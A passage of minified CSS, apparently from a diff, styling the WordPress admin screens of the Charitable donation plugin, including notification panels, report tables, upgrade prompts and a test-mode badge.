a{display:inline-block;line-height:30px;text-decoration:none;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;text-align:center;color:#2271b1;border-color:#2271b1;background:#f6f7f7;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}nav.charitable-reports-pagination-nav ul li span{text-align:center;display:inline-block}.charitable-admin-ui.charitable-admin-ui-field.charitable-admin-ui-toggle{margin-top:-8px}.wp-pointer-buttons .charitable-pointer-buttons{display:table;width:100%;margin:0 0 0 auto}.wp-pointer-buttons .charitable-pointer-buttons a.close{margin:4px 0 0 25px}.wp-pointer-buttons .charitable-pointer-buttons a.button.button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-pointer-buttons .charitable-pointer-buttons a.button-visit{float:left}.charitable-disabled{cursor:default;opacity:.5;pointer-events:none}.charitable-headline-reports,.charitable-restricted{position:relative}.restricted-access-overlay{position:absolute;display:flex;justify-content:center;inset:1px;background-color:hsla(0,0%,100%,.35);-webkit-backdrop-filter:blur(2px);backdrop-filter:blur(2px);z-index:99}body.modal-open{overflow:hidden}.charitable-menu-notification-indicator{margin:6px 0 0;width:8px;height:8px;border-radius:50%;background-color:#d63638;line-height:1.6;animation:wpchar-menu-notification-indicator-pulse 1.5s infinite;float:right}[dir=ltr] #toplevel_page_charitable .charitable-menu-notification-indicator{float:right}[dir=rtl] #toplevel_page_charitable .charitable-menu-notification-indicator{float:left}@keyframes wpchar-menu-notification-indicator-pulse{0%{transform:scale(.95);box-shadow:0 0 0 0 rgba(0,0,0,.7)}70%{transform:scale(1);box-shadow:0 0 0 15px transparent}100%{transform:scale(.95);box-shadow:0 0 0 0 transparent}}.charitable-notification{margin-bottom:20px}.charitable-notification:last-child{margin-bottom:0}.charitable-notification>div{display:flex;align-items:flex-start;padding-bottom:10px;border-bottom:1px solid #e8e8eb}.charitable-notification>div:last-child{padding-bottom:0;border-bottom:0;margin-bottom:0}.charitable-notification>div .body{font-size:14px;line-height:22px;flex:1}.charitable-notification>div .body .title{font-size:14px;font-weight:600;color:#141b38;margin-bottom:9px;display:flex;align-items:left;flex-direction:column}.charitable-notification>div .body .title.dashboard-title{flex-direction:row}.charitable-notification>div .body .title div:first-child{flex:1;line-height:22px}[dir=ltr] .charitable-notification>div .body .title div:first-child{margin-right:5px}[dir=rtl] .charitable-notification>div .body .title div:first-child{margin-left:5px}.charitable-notification>div .body .title .date{font-weight:initial;color:#8c8f9a;font-size:12px}.charitable-notification>div .body .notification-content{margin-bottom:12px;max-width:calc(100% - 110px)}.charitable-notification>div .body .notification-content img{max-width:100%}.charitable-notification>div .body .actions{flex-wrap:wrap;display:flex;align-items:baseline}[dir=rtl] .charitable-notification>div .body .actions{flex-direction:row-reverse;justify-content:right}.charitable-notification>div .body .actions>*{margin-bottom:12px}[dir=ltr] .charitable-notification>div .body .actions .charitable-button{margin-right:20px}[dir=rtl] .charitable-notification>div .body .actions .charitable-button{margin-left:20px}.charitable-notification>div .body .actions .dismiss{color:#8c8f9a;font-size:13px;margin-top:0;margin-bottom:0}.charitable-notification>div .icon{margin-right:14px}[dir=ltr] .charitable-notification>div .icon{margin-right:14px}[dir=rtl] .charitable-notification>div .icon{margin-left:14px}.charitable-notification>div .icon svg{width:25px;height:25px;color:#00aa63}.charitable-notification>div .icon svg.warning{color:#f18200}.charitable-notification>div .icon svg.info{color:#e38632}.charitable-notification>div .icon svg.success{color:#00aa63}.charitable-notification>div .icon svg.error{color:#df2a4a}.charitable-notification .actions{display:flex;justify-content:left;align-items:center;margin-top:5px}.charitable-notification .actions .dismiss{margin-left:10px;text-decoration:none;font-size:12px;line-height:14px;text-decoration:underline}.charitable-notification .actions .dismiss:hover{color:#8c8f9a}.charitable-notification .charitable-notifications-buttons{display:flex;justify-content:space-between;margin-top:5px}.charitable-notification .button.button-primary{padding:3px 15px!important;border-radius:5px!important;font-size:13px!important;line-height:2.15!important;background-color:#e38632;color:#fff;border-color:#e38632}.charitable-notification .button.button-primary:hover{padding:3px 16px;border-radius:5px;background-color:#e38632;border-color:#e38632;filter:brightness(.9)}.charitable-notification .button.button-secondary{padding:3px 15px!important;border-radius:5px!important;font-size:13px!important;line-height:2.15!important;margin-left:15px;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7}.charitable-notification .button.button-secondary:hover{padding:3px 16px;border-radius:5px;background-color:#f9f9fa;border-color:#e4e4e7;filter:brightness(.9)}.charitable-notification-cards{display:none}.charitable-notification-cards.notification-cards-visible{display:block}.charitable-notification-cards .charitable-notification:last-child>div{border-bottom:none;margin-bottom:none}.charitable-notification-cards .no-notifications{display:flex;align-items:center;flex-direction:column;font-size:14px;line-height:22px;color:#8c8f9a}.charitable-notification-cards .no-notifications img{width:30%;max-width:108px;height:auto}.charitable-notification-cards .no-notifications .great-scott{margin:20px 0 8px;font-size:18px;font-weight:600;color:#434960}.charitable-notification-cards .no-notifications .no-new-notifications{margin-bottom:20px}@media (min-height:500px){.charitable-notification-cards .no-notifications{padding-top:100px}}body.charitable-show-notifications .charitable-main{pointer-events:none;-webkit-user-select:none;user-select:none}.charitable-plugin-notifications{margin-top:32px;position:fixed;top:0;z-index:999992;width:570px;right:-570px;-webkit-transition:right .5s ease-out;-moz-transition:right .5s ease-out;-o-transition:right .5s ease-out;transition:right .5s ease-out}.charitable-plugin-notifications.in{right:0}[dir=rtl] .charitable-plugin-notifications{left:-570px;-webkit-transition:left .5s ease-out;-moz-transition:left .5s ease-out;-o-transition:left .5s ease-out;transition:left .5s ease-out}[dir=rtl] .charitable-plugin-notifications.in{left:0}.charitable-plugin-notifications a.dismiss{color:#8c8f9a;font-size:13px;margin-top:0;margin-bottom:0}.charitable-plugin-notifications .charitable-button{border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize;text-decoration:none;display:inline-block;cursor:pointer;min-height:30px;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box;color:#fff}.charitable-plugin-notifications .charitable-button.charitable-button-green{background-color:#00aa63}.charitable-plugin-notifications .charitable-button.charitable-button-orange{background-color:#e27730}.charitable-plugin-notifications .notification-menu{display:flex;flex-direction:column;height:calc(100% - var(--wp-admin--admin-bar--height,32px));width:100%;max-width:570px;position:fixed;z-index:1053;top:32px;bottom:0;background-color:#fff;overflow-x:hidden;transition:.5s}.charitable-plugin-notifications .notification-menu .notification-header{height:64px;display:flex;align-items:center;padding:0 20px;color:#fff;background-color:#e38632}.charitable-plugin-notifications .notification-menu .notification-header .new-notifications,.charitable-plugin-notifications .notification-menu .notification-header .old-notifications{font-size:18px;font-weight:600;display:none}.charitable-plugin-notifications .notification-menu .notification-header .notifications-visible{display:block}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{flex:1 1 auto;margin-left:25px}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{margin-left:25px}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{margin-right:25px}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications a{font-size:12px;color:#fff}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications a:focus{border:0;box-shadow:none}.charitable-plugin-notifications .notification-menu .notification-header svg.charitable-close{width:14px;height:14px;cursor:pointer}.charitable-plugin-notifications .notification-menu .notification-header svg.charitable-close:hover{color:#ccc}.charitable-plugin-notifications .notification-menu .notification-cards{flex:1;padding:24px;overflow:auto}.charitable-plugin-notifications .notification-menu .notification-footer{padding:24px;display:flex;align-items:center}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination{flex:1;display:flex;align-items:center}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{font-size:13px;color:#141b38;background:#e8e8eb;height:30px;width:30px;display:flex;align-items:center;justify-content:center;border-radius:2px;cursor:pointer}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number.active,.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:hover{color:#fff;background-color:#e38632}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{margin-right:4px}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:last-child{margin-right:0}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{margin-left:4px}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:last-child{margin-left:0}.charitable-plugin-notifications .charitable-notifications-overlay{display:none;position:fixed;z-index:998;top:32px;bottom:0;background-color:#141b38;opacity:.5;transition:.5s;cursor:pointer;right:0;left:160px}[dir=ltr] .charitable-plugin-notifications .charitable-notifications-overlay{right:0;left:160px}[dir=rtl] .charitable-plugin-notifications .charitable-notifications-overlay{left:0;right:160px}.charitable-plugin-notifications .notifications-fade-enter-active,.charitable-plugin-notifications .notifications-fade-leave-active{transition:opacity .5s}.charitable-plugin-notifications .notifications-fade-enter-from,.charitable-plugin-notifications .notifications-fade-leave-to{opacity:0}.charitable-plugin-notifications .notifications-slide-enter-active,.charitable-plugin-notifications .notifications-slide-leave-active{transition:all .5s ease-in-out}.charitable-plugin-notifications [dir=ltr] .notifications-slide-enter-from,.charitable-plugin-notifications [dir=ltr] .notifications-slide-leave-to{right:-570px}.charitable-plugin-notifications [dir=rtl] .notifications-slide-enter-from,.charitable-plugin-notifications [dir=rtl] .notifications-slide-leave-to{left:-570px}@media print{.charitable-plugin-notifications{display:none}}.charitable-dashboard-notifications{background-color:#fff;box-shadow:0 0 30px rgba(0,0,0,.15);border-radius:4px;position:relative}.charitable-dashboard-notifications .charitable-dashboard-notification{padding:10px;display:flex;justify-content:left;background-color:#f18500;text-align:left;align-items:center}.charitable-dashboard-notifications .charitable-dashboard-notification .charitable-dashboard-notification-icon{margin:0 10px 0 10px;width:18px;height:18px}.charitable-dashboard-notifications .charitable-dashboard-notification h4.charitable-dashboard-notification-headline{display:none}.charitable-dashboard-notifications .charitable-dashboard-notification p:first-of-type{margin-top:0}.charitable-dashboard-notifications .charitable-dashboard-notification-bar{position:absolute;right:0;top:0;display:flex;justify-content:space-between;align-items:center}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation{position:relative;right:20px;top:-14px;padding:0;display:flex;justify-content:space-between;align-items:center;min-height:45px}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a{cursor:pointer;color:#000;text-decoration:none;font-weight:200;font-size:32px;line-height:32px;display:inline-block;opacity:.3;padding:0 4px;position:relative;top:1px;border-radius:5px;background-color:transparent}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a:hover{opacity:.5}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation .charitable-dashboard-notification-counter{font-size:13px;color:#666;white-space:nowrap;padding:0 4px;line-height:32px}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{position:relative;right:5px;top:-10px;font-size:14px;line-height:14px;width:18px;height:18px;text-decoration:none;opacity:.3;background-image:url(..\u002F..\u002Fimages\u002Fonboarding\u002Fchecklist\u002Ftimes-circle-regular.svg);color:#fff;background-color:#fff;-webkit-mask-image:url(..\u002F..\u002Fimages\u002Fonboarding\u002Fchecklist\u002Ftimes-circle-regular.svg);mask-image:url(..\u002F..\u002Fimages\u002Fonboarding\u002Fchecklist\u002Ftimes-circle-regular.svg)}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification:hover{opacity:.5}.charitable-dashboard-notifications .charitable-dashboard-notification{background-color:#fff;border:1px solid #c3c4c7;border-left-width:4px;padding:0;box-shadow:0 1px 1px rgba(0,0,0,.04);border-radius:4px;border-left-color:#72aee6}.charitable-dashboard-notifications .charitable-dashboard-notification.charitable-notification-type-notice{border-left-color:#72aee6}.charitable-dashboard-notifications .charitable-dashboard-notification.charitable-notification-type-important{border-left-color:#eaa465}.charitable-dashboard-notifications .charitable-dashboard-notification-message{padding:20px}.charitable-dashboard-notifications .charitable-dashboard-notification-message h5:first-of-type{font-size:18px;line-height:21px;margin:0 0 10px 0;padding:0}.charitable-dashboard-notifications .charitable-dashboard-notification-message p:first-child{margin-top:2px}.charitable-dashboard-notifications .charitable-dashboard-notification-message p:last-child{margin-bottom:2px}.charitable-dashboard-notifications .charitable-dashboard-notification-message ol,.charitable-dashboard-notifications .charitable-dashboard-notification-message ul{margin-top:5px}.charitable-dashboard-notifications ul{margin:0 0 0 20px;padding:0;list-style-type:disc}.charitable-dashboard-notifications .charitable-dashboard-notification[data-notification-type=notice] header{background-color:#0054f1}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice{background-color:#f0f6fc;border-left:solid 4px #017cba;color:#1e1e1e;padding:12px 12px 12px 16px;margin-bottom:0}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice strong{display:block}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice a{display:block}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice.wpchar-warning{background-color:#fef8ee;border-left-color:#efb84a;margin-bottom:12px}.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-progress-bar .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-stats .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaigns-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donation-button .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donations-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donors-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-my-donations .charitable-logo{max-width:255px!important;margin-bottom:10px!important;padding-bottom:10px!important;border-bottom:1px solid #e8e8eb}.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-progress-bar p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-stats p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaigns-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donation-button p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donations-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donors-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-my-donations p{margin-top:2px!important;margin-bottom:2px!important}body.post-type-donation.charitable-admin-donation-edit #post-body input[type=email],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=number],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=password],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=search],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=tel],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=text],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=url]{padding:8px 10px}body.post-type-donation.charitable-admin-donation-edit #donation-form-meta{padding-top:0}body.post-type-donation.charitable-admin-donation-edit #postbox-container-2 .postbox-header{display:none}#charitable-reports .charitable-report-table-container{position:relative}#charitable-reports .charitable-report-table-container .reports-lite-cta{z-index:999;position:absolute;top:25%;left:0;right:0;margin:25px}@media screen and (max-width:1200px){body.charitable_page_charitable-dashboard .charitable-cards .charitable-card,body.charitable_page_charitable-reports .charitable-cards .charitable-card{padding-top:30px;padding-bottom:30px}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong,body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}}@media screen and (max-width:1000px){body.charitable_page_charitable-dashboard .charitable-cards,body.charitable_page_charitable-reports .charitable-cards{grid-template-columns:repeat(2,1fr)}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong,body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{font-size:42px;line-height:44px}}@media screen and (max-width:800px){body.charitable_page_charitable-dashboard .charitable-cards,body.charitable_page_charitable-reports .charitable-cards{grid-template-columns:repeat(2,1fr)}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong,body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}body.charitable_page_charitable-dashboard .charitable-section-grid,body.charitable_page_charitable-reports .charitable-section-grid{grid-template-columns:repeat(1,1fr)}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third,body.charitable_page_charitable-reports .charitable-section-grid.one-third{display:grid}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-top-campaigns-report,body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-top-campaigns-report{width:100%}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-payment-methods-report,body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-payment-methods-report{width:100%}body.charitable_page_charitable-dashboard .charitable-section-flexible,body.charitable_page_charitable-reports .charitable-section-flexible{columns:1;column-gap:0;display:block}#charitable-reports .charitable-report-table-container table.wp-list-table td,#charitable-reports .charitable-report-table-container table.wp-list-table th{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#charitable-reports .charitable-report-table-container table.wp-list-table td.charitable-avatar,#charitable-reports .charitable-report-table-container table.wp-list-table th.charitable-avatar{display:none;width:1px}#charitable-reports .charitable-report-table-container table.wp-list-table td.manage-column.column-actions,#charitable-reports .charitable-report-table-container table.wp-list-table th.manage-column.column-actions{width:30px}}@media screen and (max-width:700px){body.charitable_page_charitable-dashboard .charitable-cards,body.charitable_page_charitable-reports .charitable-cards{grid-template-columns:repeat(2,1fr)}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong,body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}body.charitable_page_charitable-dashboard .charitable-section-grid,body.charitable_page_charitable-reports .charitable-section-grid{grid-template-columns:repeat(1,1fr)}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third,body.charitable_page_charitable-reports .charitable-section-grid.one-third{display:grid}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-top-campaigns-report,body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-top-campaigns-report{width:100%}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-payment-methods-report,body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-payment-methods-report{width:100%}body.charitable_page_charitable-dashboard .charitable-section-flexible,body.charitable_page_charitable-reports .charitable-section-flexible{columns:1;column-gap:0;display:block}}body.charitable_page_charitable-settings .charitable-education-page .charitable-settings-heading-pro h4{margin-top:40px}.charitable-education-page{max-width:1000px;margin-bottom:30px;padding:0}.charitable-education-page .charitable-education-page-heading h4,.charitable-education-page .charitable-settings-heading-pro h4{font-size:20px;font-weight:600;margin:20px 0 6px 0;line-height:20px}.charitable-education-page .charitable-education-page-heading h4:after,.charitable-education-page .charitable-settings-heading-pro h4:after{background-color:#f99e36;color:#fff;content:\"Pro\";padding:3px 7px;font-size:9px;line-height:9px;text-transform:uppercase;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-3px}.charitable-education-page .charitable-education-page-images{display:flex;gap:25px;margin:25px 0}.charitable-education-page .charitable-education-page-images figure{margin:0}.charitable-education-page .charitable-education-page-images figcaption{font-style:normal;font-weight:400;font-size:14px;line-height:17px;text-align:center;color:#777;margin-top:10px}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image{display:inline-block;position:relative;background-color:#fff;box-shadow:rgba(0,0,0,.05) 0 2px 5px 0;padding:5px;border-radius:3px}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image img{max-width:100%;display:block}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image .hover{position:absolute;opacity:0;height:calc(100% - 10px);width:calc(100% - 10px);top:0;left:0;border:5px solid #fff;background-color:rgba(0,0,0,.15);background-image:url(..\u002F..\u002Fimages\u002Fpro\u002Ficons\u002Fzoom.svg);background-repeat:no-repeat;background-position:center;background-size:50px;transition:all .3s;box-sizing:initial}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image:hover .hover{opacity:1;transition:all .3s}.charitable-education-page .charitable-education-page-caps{max-width:986px;box-sizing:content-box;box-shadow:rgba(0,0,0,.05) 0 2px 4px;background:#fff;border-radius:6px;padding:20px 20px 0 20px;overflow:auto}.charitable-education-page .charitable-education-page-caps p{font-weight:600;font-size:16px;line-height:23px;color:#32373c;margin-bottom:20px;margin-top:0}.charitable-education-page .charitable-education-page-caps ul{display:flex;flex-wrap:wrap;margin:0}.charitable-education-page .charitable-education-page-caps ul li{flex:0 0 calc(33.333% - 40px);font-weight:400;font-size:14px;line-height:20px;color:#50575e;margin-bottom:20px;position:relative;padding-left:20px;padding-right:20px}.charitable-education-page .charitable-education-page-caps ul li i{margin-right:10px;position:absolute;top:2px;left:0}.charitable-education-page .charitable-education-page-button{margin-top:25px}.charitable-education-page .charitable-education-page-button a{font-size:16px;font-weight:600;padding:16px 28px!important;background-color:#5aa152!important;color:#fff!important}.charitable-education-page .charitable-education-page-button a:hover{background-color:#4a8742!important}.charitable-education-page .charitable-education-page-disabled-download{margin-top:25px}.charitable-education-page .charitable-education-page-disabled-download p{font-size:16px;font-weight:600;color:#d63638}body.charitable-admin-promotion-footer #wpbody{padding-bottom:150px!important}#wpfooter .charitable-footer-promotion{text-align:center;font-weight:400;font-size:13px;line-height:normal;color:#646970;padding:30px 0;margin-bottom:20px}#wpfooter .charitable-footer-promotion p{font-weight:600}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links,#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{display:flex;justify-content:center;align-items:center}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links{margin:10px 0;color:#646970}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links a{color:#056aab}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links a:hover{color:#04558a}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links span{color:#c3c4c7;padding:0 7px}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{gap:10px;margin:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li{margin-bottom:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li path{color:#646970}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li:hover path{fill:#50575e}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li a{display:block;height:16px}#wpfooter #footer-left{color:#50575e;font-size:13px;font-style:normal;font-weight:400;line-height:normal}#wpfooter #footer-left strong{font-weight:600}@media (max-width:782px){body.charitable-admin-promotion-footer #wpbody{padding-bottom:200px!important}#wpfooter .charitable-footer-promotion{padding:20px 0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links{flex-direction:column;gap:10px}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links li{margin:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{margin-top:20px}}#wpadminbar .charitable-test-mode-active .charitable-test-mode-badge{color:#fff;background-color:#e89940!important;font-weight:600;padding:0 8px;border-radius:4px;margin:0 4px;display:inline-block;white-space:nowrap;border:2px solid #000;font-size:12px;line-height:25px}#wpadminbar .charitable-test-mode-active .charitable-test-mode-badge::before{content:\"⚠ \";margin-right:4px;font-weight:700}#wpadminbar .charitable-test-mode-active:hover .charitable-test-mode-badge{background-color:#d68a37!important}@keyframes charitable-test-mode-flash{0%{background-color:transparent}50%{background-color:rgba(232,153,64,.5);color:#fff}100%{background-color:transparent}}tr.charitable-settings-field.charitable-test-mode-checkbox.charitable-test-mode-flash{animation:charitable-test-mode-flash 2s ease-in-out}.charitable-global-upgrade-cta{width:fit-content;margin-left:auto;margin-right:auto;padding:20px 80px;background:#fff}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-title{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:20px;line-height:33px;letter-spacing:.01em;text-align:center;color:rgba(25,29,45,.8);margin:0;padding-top:10px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features{display:flex;gap:10px 10px;margin:30px auto;max-width:530px;justify-content:center}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-column{flex:1;max-width:300px;display:flex;flex-direction:column;gap:20px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature{display:flex;align-items:flex-start;gap:12px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-checkmark{width:18px;height:18px;flex-shrink:0;margin-top:2px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-feature-text{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.8);margin:0}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions{display:flex;flex-direction:column;align-items:center;gap:20px;margin-top:30px;padding-bottom:20px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button{background:#da9021;border:none;border-radius:4px;padding:22px 42px;font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-size:19px;line-height:100%;letter-spacing:0;color:#fff;cursor:pointer;transition:background .2s ease;text-decoration:none}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button:hover{background:#c4821e}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link{font-family:Inter,-apple-system,BlinkMacSystemFont,\"Segoe UI\",Roboto,sans-serif;font-weight:600;font-size:14px;line-height:150%;letter-spacing:0;text-align:center;text-decoration:underline;color:rgba(25,29,45,.5);transition:color .2s ease}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link:hover{color:rgba(25,29,45,.7)}#charitable-reports .charitable-report-table-container .reports-lite-cta{margin:auto!important;box-shadow:0 2px 8px rgba(0,0,0,.1)}\n\\ No newline at end of file\n+@charset \"UTF-8\";@import url(\"https:\u002F\u002Ffonts.googleapis.com\u002Fcss2?family=Inter:wght@400;500;600;800&display=swap\");.charitable-toggle-control{display:block;margin:6px 1px 5px 0px}.charitable-toggle-control input[type=checkbox]{display:none;height:0;width:0}.charitable-toggle-control input[type=checkbox]:checked + label.charitable-toggle-control-icon{background-color:#036aab}.charitable-toggle-control input[type=checkbox]:checked + label.charitable-toggle-control-icon:after{left:calc(100% - 15px - 2px)}.charitable-toggle-control span, .charitable-toggle-control label{display:inline-block;margin-bottom:0;margin-left:5px}.charitable-toggle-control label{cursor:pointer}.charitable-toggle-control .charitable-toggle-control-label{margin:0 0 0 6px;max-width:calc(100% - 65px)}.charitable-toggle-control .charitable-toggle-control-label:hover{cursor:pointer}.charitable-toggle-control .charitable-toggle-control-status{color:#86919e;font-size:12px;line-height:14px;margin:2px 5px}.charitable-toggle-control .charitable-toggle-control-icon{background-color:#bbbbbb;border-radius:8.5px;cursor:pointer;display:inline-block;height:17px;margin:0 1px;position:relative;text-indent:-9999px;width:32px}.charitable-toggle-control .charitable-toggle-control-icon:after{background:#ffffff;border-radius:50%;content:\"\";height:15px;left:2px;position:absolute;top:1px;width:15px;transition-property:all;transition-duration:0.25s;transition-timing-function:ease-out}.charitable-toggle-control:hover input:checked + label.charitable-toggle-control-icon{background-color:#215d8f}.charitable-toggle-control:hover .charitable-toggle-control-icon{background-color:#777777}.charitable-group.charitable-layout-options-tab-group .charitable-toggle-control-icon{margin:-4px 1px}.charitable-panel-sidebar .charitable-toggle-control .charitable-toggle-control-icon{background-color:#b0b6bd}.charitable-panel-sidebar .charitable-toggle-control:hover .charitable-toggle-control-icon{background-color:#86919e}.charitable-panel-sidebar .charitable-toggle-control.charitable-field-option-in-label-right .charitable-toggle-control-label{color:#86919e;font-size:12px;line-height:14px;margin:2px 5px;max-width:initial}body[class*=charitable_page_] #wpbody-content .wrap,body.post-type-charitable #wpbody-content .wrap,body.post-type-donation #wpbody-content .wrap{padding-left:10px;padding-right:10px}body.charitable_page_charitable-addons #wpbody-content .wrap{padding-left:5px;padding-right:5px}#charitable-admin-header{background-color:#ffffff;margin:0 0 0 -20px;padding-right:20px;width:100%;border-top:3px solid #E89940;border-bottom:1px solid #ddd;border-left:0;border-right:0}[dir=rtl] #charitable-admin-header{margin:0 -20px 0 0px}#charitable-admin-header .charitable-admin-header-interior{padding:0px 30px;display:flex;justify-content:center;align-items:center;min-height:80px}#charitable-admin-header h1{flex:1;text-align:left}[dir=rtl] #charitable-admin-header h1{text-align:right}#charitable-admin-header .round{border-radius:50%;width:40px;height:40px;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:background-color 0.2s ease;animation:wpchar-menu-notification-indicator-pulse 1.5s infinite}#charitable-admin-header .charitable-header-logos{text-align:right}#charitable-admin-header .charitable-header-logos ul{margin:0 -20px 0 0;padding:0;display:flex}#charitable-admin-header .charitable-header-logos ul li{margin:0 10px;display:inline-block;width:30px;height:30px}#charitable-admin-header .charitable-header-logos ul li a{display:block}#charitable-admin-header .charitable-header-logos ul li 